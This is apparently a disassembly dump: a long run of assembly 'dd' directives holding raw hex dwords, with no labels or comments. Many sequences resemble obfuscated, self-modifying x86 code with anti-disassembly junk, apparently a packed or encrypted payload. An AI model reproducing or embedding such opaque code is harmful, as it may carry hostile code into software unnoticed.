		dd 5D7BC862h, 5239D2E5h, 0B5DEDDE5h, 5D6FDDECh,	0DD65D4C2h
		dd 0AE9DA992h, 0D8608317h, 5BD96DD5h, 0E0CE56B6h, 2BBF1EBh
		dd 79DA54B5h, 5D6FDB0Ch, 3B47B2E5h, 0A2B04F16h,	71CBD870h
		dd 8F6B7E3h, 5D7BDE0Dh,	9EE0FDE5h, 79B254B8h, 792B5CE1h
		dd 5DB7C9E1h, 9E8E98E5h, 0D65F68EDh, 0AF6B73Dh,	5D7BDE0Dh
		dd 9EE2FDE5h, 79A254BAh, 792B5CE1h, 5DB7C9E1h, 9E8C9AE5h
		dd 79685040h, 37F0F255h, 5E938BE5h, 7DBDDDE5h, 0D4801EBBh
		dd 0DC6BF991h, 49B3F9A1h, 1BDBDDE5h, 74591EB3h,	71E8E870h
		dd 0F2B8DE3h, 5854ECEAh, 90DEDDE5h, 0D3ACC4h, 593E85BFh
		dd 0BB095DC1h, 4C5B8D76h, 4C632276h, 0D47DF1E4h, 719F6478h
		dd 0B45B54E3h, 3769F1CCh, 5E5F8CE5h, 7DDBDDE5h,	0D4B41EBCh
		dd 0DCF2F9A9h, 457FF9A1h, 1CBDDDE5h, 0B2291EB4h, 0D6786DF2h
		dd 71A4A470h, 936CD2E3h, 43F85822h, 5DF9DBC9h, 0BBFADDE5h
		dd 0E7312FCh, 7437481Ah, 0D85EDBC9h, 5B9BDDB4h,	4F22586Ch
		dd 5D87DBC9h, 5DF535B3h, 35BDDE5h, 29348326h, 195FD9C1h
		dd 5D73D9C1h, 0BF1DDE5h, 88211826h, 0AC957AC3h,	0C07FD462h
		dd 5B57DAB0h, 79A0586Eh, 0C053DBC9h, 5B401985h,	0D0B69E6Ch
		dd 71D2C458h, 675850E3h, 0E4F0F221h, 5D7BDDD6h,	6E567916h
		dd 5DDEDD5Dh, 29AFD6E5h, 5DAF1FE6h, 51FF996Eh, 5DED35B6h
		dd 0DCADDDE5h, 5D7BCA26h, 79E154E5h, 799A54F5h,	6AD786F1h
		dd 0A2B74145h, 799F5605h, 520D22E1h, 5D9C2B52h,	5D7835B6h
		dd 69DDDE5h, 1578626h, 19EED9C1h, 5DA2D9C1h, 0E98DDE5h
		dd 0D615EA26h, 71D7E450h, 5EF1D2E3h, 3BBDDDE5h,	37BF126Eh
		dd 5E878AE5h, 7DB7DDE5h, 0D4841EBAh, 0DCE9F999h, 41F2F9A1h
		dd 1A7BDDE5h, 3CD81EB2h, 0A3FD64E7h, 54F2D7BCh,	71934070h
		dd 796650E3h, 0D0EBF255h, 72323E68h, 0F64E65E3h, 0D88E45C3h
		dd 5BF2CD60h, 8F3D12CEh, 0E6B5A1DDh, 0C55D7BDDh, 6C027E82h
		dd 6459FAA1h, 0F3594B99h, 0A25DB7DDh, 5E9838Ah,	0D98BA4F3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 3AC35242h
		dd 89DCD85Fh, 8B6441DBh, 2C0F518Dh, 70E906h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 6E926C3h, 70000000h,	0B89E8D36h, 78E0F09h, 60000000h
		dd 0F6CF8166h, 6A616153h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0C58CC352h,	3B3C6822h
		dd 0DE9C3h, 3A90000h, 8DDC7CE2h, 4EC0625Ch, 0F519434h
		dd 185h, 0C08BF800h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 1CC35747h, 0F440F28h,	68Ah, 0FD8A6000h
		dd 836121B2h, 2C1D65BDh, 9750006h, 23D9BD83h, 7400062Ch
		dd 8B535019h, 4B9B8C0h,	85890000h, 62C343Dh, 0B1D39D8Dh
		dd 0D3FF062Eh, 0BD83585Bh, 62C23D9h, 50177400h,	4B9B853h
		dd 85890000h, 62C343Dh,	0AE749D8Dh, 0D3FF062Eh,	6AF8585Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0EAAFC352h
		dd 0B5E0A3CDh, 0E97FB660h, 11h,	0A5F6020Ch, 7F3D1F8h, 0A7CDA63Dh
		dd 335250A9h, 0C08B6113h, 9E9F560h, 13000000h, 8247F391h
		dd 1BB3AC7Dh, 0C18B4061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A7C35545h, 5D717052h, 0BF568E2Dh, 15719D89h
		dd 0E3BE062Ch, 0EB14EC14h, 4, 858DF900h, 62C32A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 39C35141h, 42F4D255h
		dd 8B5A7035h, 2C05F9B5h, 52505006h, 6E85250h, 8A000000h
		dd 50F936D4h, 310F5E82h, 4666BF66h, 310F585Ah, 489585Ah
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0B4BAC275h, 2C45B58Bh, 6A062Ch, 6AF78B66h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 4D19E20Eh, 8DF99D1Fh, 2FC86885h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E9386D14h, 14h, 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh, 1F36F203h
		dd 2A94970Ch, 6A05C083h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0FC1EC357h,	8FDCF62Bh
		dd 0C16BDE79h, 0D7BE6650h, 240489DAh, 0A01B58Bh, 6A062Ch
		dd 124107BFh, 13E877h, 77B90000h, 0EAA558E7h, 0E55E098Bh
		dd 0EA86C438h, 0F9EC0A6Eh, 751BBFFEh, 6A5F0544h, 95FFF500h
		dd 62C239Dh, 0DE8h, 50DA2A00h, 316CB4FDh, 1818739h, 0B58BA929h
		dd 62C1B6Dh, 429D8D5Eh,	6A062FA0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 6FADC353h
		dd 66B56F9Ch, 0D3FFF08Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0D1C35343h, 0D99D89h,	85FF062Ch, 62C1A69h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D2C35242h
		dd 67E9F38Bh, 0E8000007h, 0
		dd 72ED815Dh, 66062FC8h, 0A0C9C681h, 1E15BD81h,	7D0062Ch
		dd 860F0000h, 1B1h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 7C35545h, 12E99D8Bh, 6A062Ch,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 47E085C3h, 0DE8730A9h, 81FE8B29h, 100E3h, 0F0BF0F00h
		dd 850FDB0Bh, 0BBh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 4DC35646h, 8046C3DFh,	9BBD835Bh, 62FC6h
		dd 36840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 190424h, 51410000h, 9A78AAC3h, 66B470EFh, 9AAADE81h
		dd 0A7E9h, 0C6816600h, 0BD098C94h, 62C04E5h, 0C69B85C7h
		dd 1062Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 9CD81FC3h, 9C1E766h, 0ACEDBE66h
		dd 67E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0C9B52B9Bh, 0C7062C15h, 2FC69B85h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E8EA599Eh, 11h, 8310D1F7h, 917B3C28h
		dd 0BFCD4E8Bh, 0B1BF1F1Fh, 95895E5Bh, 62C30FDh,	12E99D8Dh
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 709CC2C3h, 28681EDBh, 9F75BF6Bh, 23812C8Ch
		dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	28C35747h, 8953E142h, 2C15FD9Dh, 0DB8C6606h, 26EE8150h
		dd 5E724ED4h, 0F04C3F6h, 4884h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0C4BF6641h
		dd 0E995FF10h, 8B062C29h, 2C058DBDh, 6050F906h,	0AEB95250h
		dd 0F5007FFh, 5A616031h, 0F18B6658h, 24048961h,	4EA61BBEh
		dd 395E924h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD89F6C3h, 62C3105h, 2931BD31h
		dd 0B0062Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	22C35040h, 0E6DBBD90h, 50006A70h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 453E7D74h
		dd 0E9F5FB1Ah, 19BD2B4Fh, 0E4062C19h, 0D8B60F71h, 1C659D29h
		dd 6BA062Ch, 0BE000000h, 3F41DF46h, 6E9C38Bh, 14000000h
		dd 3EB3E122h, 4E8C1A3h,	3110CABFh, 758D894Ah, 66062C1Bh
		dd 0F18BE2F7h, 6AD82Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 19A9CEC3h, 9B9BD8Bh, 6693062Ch
		dd 0F50F88Bh, 38Fh, 0F88B6600h,	618D8993h, 0FF062C1Eh
		dd 2C1E15B5h, 0FFFE8B06h, 2C26B195h, 15B58B06h,	0B0062C1Dh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0CFBF7D27h, 0BE03923Bh, 321DE4BDh, 71E470E6h
		dd 2201BD8Bh, 613C062Ch, 261830Fh, 0B5290000h, 62C1635h
		dd 6AD8B60Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 4B2AC351h, 0C56CA861h,	0B850Fh
		dd 3600000h, 2C341DBDh,	0D98B6606h, 6BA61h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F2B1E4C3h, 8028B76Ch, 8BC2DDEDh, 0F98D89C3h, 0C1062C1Dh
		dd 0BF6604E8h, 0BD29F6C8h, 62C0099h, 8BE2F766h,	159589F2h
		dd 2B062C08h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 9D1AEFE4h, 14E9h,	158CB300h, 0B8C7EB2Eh
		dd 0C6F6C5E8h, 2BBB374Ch, 7CBB0A47h, 0D82B5867h, 199880Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD23AAC3h, 62C1191h, 7B9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0EA7E2040h, 0E9B48736h, 7, 82C654BCh, 83EFE146h, 6A00C1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A65B47C3h, 5802E683h, 1E19B58Bh, 0D93B062Ch, 111860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 6B1089C3h, 3C63B023h, 0D98C6664h,	0BD5BD8Bh
		dd 0C1F6062Ch, 0CA840F04h, 0E9000000h, 13h, 93942EF4h
		dd 9A002837h, 93BBCA7h,	46FE06AEh, 0FF7AC955h, 2C29E995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0CE58EA80h, 0D4CA473h, 64B636BFh, 9D015B39h
		dd 62C3185h, 1EB5B529h,	0C32B062Ch, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 66C35141h, 725F940Ah, 3D65456Bh
		dd 834h, 47860Fh, 0DE80000h, 87000000h,	222F4276h, 0C6CF94BAh
		dd 0FC2FBC9Bh, 12BE5EFCh, 0E924128Dh, 3Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A0C35040h, 8A9118F4h
		dd 5340DF94h, 3AF68166h, 0E9C08B9Dh, 0Bh, 75B464C4h, 67D5459Bh
		dd 8B2DB159h, 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C6E8C356h,	46FD5ADEh
		dd 189D85C7h, 69DF062Ch, 6A5737h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 4C0292C3h, 8EFBE533h
		dd 8BF85854h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0DCE44ACEh, 0E3D96755h, 23B59D89h
		dd 0BD81062Ch, 62C1E15h, 7D0h, 51850Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 963367C3h, 0DBD89F1h, 0FF062C31h, 2C1E1585h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3F19D413h, 8C0FE0BDh, 0FFFABF0Fh, 2C1E15B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0A04AA276h, 12BEB22Ah, 0FF1CFA01h, 2C26B195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 78B890E3h, 1123456h,	2C10E5BDh, 649D8D06h, 0E9062FCFh
		dd 0FFFFF8F3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	7FC35141h, 60FB8B66h, 2269B509h, 0BF0F062Ch, 0BDDB81FFh
		dd 6122AFA3h, 0E9806060h, 0EB816643h, 0EE8EC34h, 0B0000000h
		dd 0D327FE49h, 7E01DC50h, 27D1C4D9h, 66615A8Ch,	89993BBAh
		dd 2C133195h, 0C18B6106h, 1A6D8D89h, 4EB062Ch, 0
		dd 0CE9h, 2E607F00h, 0A67D2C48h, 0B9F68E8Dh, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0DB0D0C1Dh, 0D8E2C7C5h, 8DF9FD09h, 2C32A585h, 358D0106h
		dd 50062C21h, 6A240489h, 2810F00h, 8B000000h, 6A006AFBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0B9FEC355h, 0AD377E37h, 28FD9589h, 0B589062Ch
		dd 62C1FB9h, 0D190858Dh, 6A062Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 3D4961C3h, 0C08324C8h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B1970CAh, 2C1419BDh, 8D850906h,	8B062C1Ch
		dd 0E96090FAh, 0Bh, 89DBD190h, 2A8AA758h, 66E2C454h, 5061D78Bh
		dd 11E9h, 0BA65300h, 572551D4h,	0EA2990CEh, 0C8264CA7h
		dd 6A90D267h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 9AA0C353h, 0D880FC7h, 0E8000000h
		dd 7, 0F1890211h, 5FAE9646h, 1FC5D781h,	6A40DAh, 23598D89h
		dd 0BE66062Ch, 6A9CE1h,	19919D89h, 95FF062Ch, 62C239Dh
		dd 10D1B58Bh, 9D8D062Ch, 62FA042h, 8CC68166h, 6AD3FF3Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 8A1EC357h, 8AD3014Bh, 346D98EEh, 10E9h, 50B09A00h
		dd 345F8673h, 1B93F877h, 0D4565545h, 85FFFCF2h,	62C1A69h
		dd 11FDBD0Bh, 4EE9062Ch, 0E800000Fh, 0
		dd 9AED815Dh, 6A062FD1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 864CC351h, 0C9ECFAA2h
		dd 0AE7EFCA3h, 0CE95F57h, 78000000h, 26B3E9E1h,	0EB28E8A5h
		dd 81D3D5E9h, 2C1E15BDh, 7D006h, 5D860F00h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0F8F3C353h, 6CDA9E1Fh, 81A2E8DFh,	9898CF7h
		dd 199D8B76h, 89062C08h, 2C0D1995h, 0E38106h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F9ADC352h, 1CEF6DDh, 2ABE6678h, 0FDB0BA9h
		dd 0AA85h, 8E800h, 62B90000h, 4A094F7Bh, 0B56010C5h, 14E907h
		dd 9D2E0000h, 0B87D3ACh, 0EA722CE7h, 8B4FAD12h,	1AEDD77Ch
		dd 5F613D93h, 0CFDEBD83h, 0F00062Fh, 5A84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0F9C9F2FCh, 0BF6656F1h, 0BD8B203Ch, 62C3119h, 55E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F400027Eh, 0BA858FB8h, 0FBB70F3Dh, 0C7F8B70Fh
		dd 2FCFDE85h, 106h, 0FE8B6600h,	19E9h, 0C1B58B00h, 0C7062C2Dh
		dd 2FCFDE85h, 6, 38F0F00h, 66000000h, 9D8DF08Bh, 62C0819h
		dd 0FEFF2381h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 1B0E56C3h, 24481636h, 0BE31AF90h
		dd 0A511881h, 1DB8C66h,	2C2E05BDh, 4C3F606h, 9E840Fh, 0BF660000h
		dd 95FF1260h, 62C29E9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 66C35747h, 0B208E5AEh, 0F094975h, 680h
		dd 9B58B00h, 90062C29h,	13E8h, 15117F00h, 71FB26D1h, 30630476h
		dd 3D341D71h, 6D0AC9C5h, 0FE9h,	0BFD70E00h, 85AE46B9h
		dd 0EFC31693h, 0A12A7983h, 82BF505Fh, 9042CB4Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 79C35040h, 9041CF25h
		dd 81207C2h, 0A098589h,	8589062Ch, 62C2291h, 46AE9h, 0B0F78B00h
		dd 5BD8900h, 0E6062C01h, 51006A70h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 53B79DDBh, 81667CD3h
		dd 8B7A6BEEh, 0E4FA8BFEh, 56006A71h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 5D8C5BE5h
		dd 0BD29D29Ah, 62C22BDh, 0E9D8B60Fh, 12h, 1351BA61h, 6A3F50ECh
		dd 81B3F22Eh, 6E51CFB5h, 6BABC87h, 0F9000000h, 8BF8C38Bh
		dd 2C143DB5h, 4E8C106h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0E2C35040h, 0E91B9F04h, 13h, 156C83Fh
		dd 78D1AF30h, 66A88B6Bh, 23A428BBh, 89A0AE7Bh, 2C2DD99Dh
		dd 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0C6C35343h, 8166DBA8h, 660429D7h, 0F4E1ABFh, 686h
		dd 0B9B50100h, 2B062C22h, 8B5093D8h, 6A93F9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 44DDE7C3h
		dd 83AF72DBh, 8B0FC2B9h, 6, 2B99BD23h, 0B58B062Ch, 62C00E5h
		dd 1E15B5FFh, 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 45B376C3h, 26B195FFh, 6A062Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 75E2D2C3h, 0FA23D5F9h, 29491A83h, 2C209D95h,	95896006h
		dd 62C1971h, 0AAD28166h, 0B06143h, 8810Fh, 81570000h, 676C5ECEh
		dd 70E65E1Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0FBC35545h, 0EC8334FBh,	8A0FBCA0h, 5, 6DDDD4BEh
		dd 0F1BD2B20h, 8B062C09h, 2C07E9BDh, 6A71E406h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 67EEC352h, 7663E2A8h, 0D998589h, 613C062Ch, 251830Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DF25C9C3h, 801BB06Bh, 8166A426h,	0FD3AFDFh
		dd 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 6BA8CC3h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D911C357h
		dd 0FE939E5h, 84000000h, 479BFF41h, 3F91C7BAh, 0E2E95E65h
		dd 0C38BE95Ah, 8E9h, 64F17700h,	0E0126F03h, 4E8C10Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E5C35242h, 49FB9E8Eh
		dd 168276C7h, 0E8E2F766h, 13h, 0F343E152h, 0BAAE7559h
		dd 823C8108h, 25884514h, 5EBED968h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 2E8A13C3h
		dd 58FC3FD2h, 8DEF8166h, 0FD82B01h, 14E88h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 7B9B242h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 2951C357h, 9BD2B99h
		dd 66062C11h, 83D54EBEh, 0B58900C1h, 62C1D25h, 0E11BD8Bh
		dd 0D93B062Ch, 0ED860Fh, 81660000h, 66FA59F6h, 0C1F6D98Ch
		dd 93840F04h, 0E9000000h, 8, 0E7EF8767h, 1AD67280h, 29E995FFh
		dd 0AE9062Ch, 80000000h, 0A498BF70h, 4B9D0793h,	6A5B42h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BB383C3h, 2B5F53F7h, 926BEC3h, 0BF0F1D4Eh, 8343DFBh
		dd 860F0000h, 3Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 72C35242h, 8102F10Dh,	0C8C4B5F7h, 59E92Dh
		dd 0E9F90000h, 0Ah, 5BCE7009h, 4E0E335Fh, 0C08BFCDAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 26C35343h, 8FE2DC9Bh
		dd 6C3446AFh, 14E8B1h, 0B3670000h, 0A4B4B564h, 2375ACBFh
		dd 5E42BFDAh, 0EFC26868h, 0F53C368h, 8Ah, 8B5E5E00h, 6AD88BC3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C283C352h, 769463C8h, 0D98509A1h, 0C7062C0Fh
		dd 2C12E985h, 1551F506h, 5E91Ch, 795B0000h, 8B084992h
		dd 0BD81F9C0h, 62C1E15h, 7D0h, 49850Fh,	0BD030000h, 62C0025h
		dd 6850Fh, 95890000h, 62C21F9h,	1E1585FFh, 6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B8035FC3h, 4DC579B4h, 1DB50313h, 0F062C01h,	289h, 0FFF98B00h
		dd 2C1E15B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8901E160h, 0C58D8976h, 0FF062C13h
		dd 2C26B195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0FC2B52F8h, 0F8B70FA6h, 6A4090h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0CF297FC3h, 9D895252h, 62C12C1h, 10E95E5Eh, 16000000h
		dd 801FE1Bh, 9AAACB8Eh,	8D4E4BB9h, 83C31DA6h, 2C1911BDh
		dd 840F0006h, 0E2h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0FCC35242h, 835E5356h, 2C0EC1BDh, 840F0006h
		dd 0B6h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0DBC35242h, 0FF937CE7h,	2C191195h, 7D78106h, 0B3F17D4h
		dd 83840FC0h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0E4AEC351h,	15CC3AB0h
		dd 0F26B31EEh, 4F518D8Dh, 5E9062Ch, 0F0000000h,	0FF221291h
		dd 5B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 511BA6E3h, 559D8B60h, 60062C1Dh
		dd 0FF5E6161h, 14E9E1h,	90950000h, 0D754DBF6h, 334F45B5h
		dd 37861B7Eh, 0BC8AC945h, 0BF66CC8Ch, 0BD836ED0h, 62C1981h
		dd 45840F00h, 6A000006h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5C10C353h, 11E917h
		dd 0C2B00000h, 0B2B0CC67h, 0E3207BCDh, 97909CE2h, 836C58B8h
		dd 2C0EC1BDh, 840F0006h, 604h, 0E9F7B70Fh, 6, 0D7AC01BAh
		dd 8D8DE35Dh, 62C0681h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0CC35747h, 0E705BF7Bh, 1C75D42h, 44B27C84h
		dd 0DE9h, 12B39500h, 572A5FFCh,	6B429AEDh, 1810875h, 1499CFCBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4BC35040h
		dd 0B529FB91h, 62C2C45h, 1D95B58Bh, 41C7062Ch, 706B3404h
		dd 0F6BF0FCEh, 10044181h, 8931D6D7h, 2C0CF595h,	0E9006A06h
		dd 13h,	32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh, 8D3BB7F5h
		dd 2C068185h, 0D5D78106h, 507EDC5Dh, 11E9h, 0E8AB7000h
		dd 2634B0FEh, 8AFD36A0h, 0E5DCD468h, 4899E8Eh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0FD374E55h, 198195FFh, 6A062Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0A913BCC3h, 114A9D54h
		dd 0E9C9B33Ah, 0Ah, 2329AB0Fh, 0C65157EEh, 6DBE48A5h, 8D2841B0h
		dd 2C06818Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 1C7BA08h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h
		dd 6674AB0Ch, 0B2B5E681h, 441C7h, 60000000h, 80F28166h
		dd 459589B0h, 61062C08h, 840FC00Bh, 33h, 0B9F78166h, 518D8D1Dh
		dd 60062C4Fh, 952BF98Ah, 62C2A61h, 75950161h, 0B8062C19h
		dd 5, 0E9E1FFF8h, 0Bh, 37DB27h,	0E1CB9BD3h, 8D94FA7Ah
		dd 2C06818Dh, 13E906h, 0D7EB0000h, 46DB3812h, 2200E068h
		dd 0C90A0D55h, 71413E61h, 318D29DCh, 0C7062C23h, 0AA727C01h
		dd 14830F44h, 0E8000000h, 9, 72B3F565h,	0B59BC557h, 0CE816621h
		dd 815E4113h, 99CFCB01h, 56006A14h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0CECB020Bh, 0F507FBFCh
		dd 0C840F5Dh, 0F000000h, 685h, 3D952900h, 0F8062C27h, 68D0Fh
		dd 85010000h, 62C25C1h,	3C0441C7h, 6ACE7875h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0D9E8C353h, 0F8EB093Eh, 0F0BF66A7h, 0E5B52326h, 0E9062C00h
		dd 0Fh,	51319454h, 0DE250ED8h, 0EEC9817Fh, 8114745Dh, 0D7100441h
		dd 8E931D6h, 0EA000000h, 2332CC29h, 6A21C4A9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0FD2DF2F8h, 6746F08Fh, 6E9B0h, 29A60000h, 0C3E1D250h
		dd 8DF18B66h, 2C068185h, 91B58B06h, 50062C2Ch, 89240489h
		dd 2C2CEDB5h, 8195FF06h, 6A062C19h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 8CF2C350h
		dd 2CC835AAh, 19B5BD33h, 0B58B062Ch, 62C080Dh, 6818D8Dh
		dd 1C7062Ch, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5CC35545h
		dd 0AB36A654h, 6CECEFC6h, 840F29h, 0C7000000h, 441h, 0B5010000h
